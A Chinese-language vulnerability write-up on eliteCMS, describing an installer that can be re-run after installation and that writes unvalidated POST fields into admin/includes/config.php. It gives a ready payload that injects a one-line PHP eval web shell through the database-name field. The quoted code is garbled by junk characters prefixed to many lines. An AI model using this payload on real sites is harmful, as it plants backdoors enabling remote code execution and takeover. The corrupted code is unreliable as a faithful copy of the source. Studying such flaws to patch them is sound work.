eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：

; b  p$ p- I0 V* M/ s...
" G: m0 q" W# l6 W+ ielseif ($_GET['step'] == "4") {
! n/ {: O+ @1 A& @    $file = "../admin/includes/config.php";
    $write = "<?php\n";
/ t' N) A5 C5 j. ]2 V' ^/ p& P    $write .= "/**\n";
! R6 b' x3 m2 |- o    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
- l4 S& A. l6 d% j    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
1 E+ _: V3 k- a    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
( K& ^% ?, ~( B    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
# s3 M6 z% l$ N$ A# w7 f    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
0 ~! W1 e- w; d! y* @    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
3 O3 u/ q" x/ ^: z# G8 e    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
! q- I+ S* w7 Y% Q% w, o, P    $write .= "        \n";
    $write .= "} \n";
4 d6 C3 F' P/ S) @2 U    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
% o% r  x0 w9 W& l; X    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
# j/ a; C% @! t% B9 l7 r; ^; K    $write .= "        \n";
9 L, c% h! o# j; W    $write .= "} \n";
    $write .= "?>\n";
/ L8 b% E. r% a- P6 p( Z
9 Q! G* e3 D, \, `/ n- E    $writer = fopen($file, 'w');
1 Q" v) b2 D, X0 {; w4 c. d...
( ?! u! G( L, M6 [
+ A  W) |& ]3 o2 z1 G& [在看代码：

% b* M! w- U# k. {( ]; y  [$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
" y5 b3 [. J; p( J( O# ?$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
7 x  Q0 n, v' b4 Y; Z$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

, @# q9 E" f; z4 M; x取值未作任何验证
$ f8 f! |" N# m如果将数据库名POST数据：

' r( }- B% N* K, f* M"?><?php eval($_POST[c]);?><?php
$ K! y' v6 E: Q! _. F
将导致一句话后门写入/admin/includes/config.php
/ l$ c  \$ G5 q3 W0 i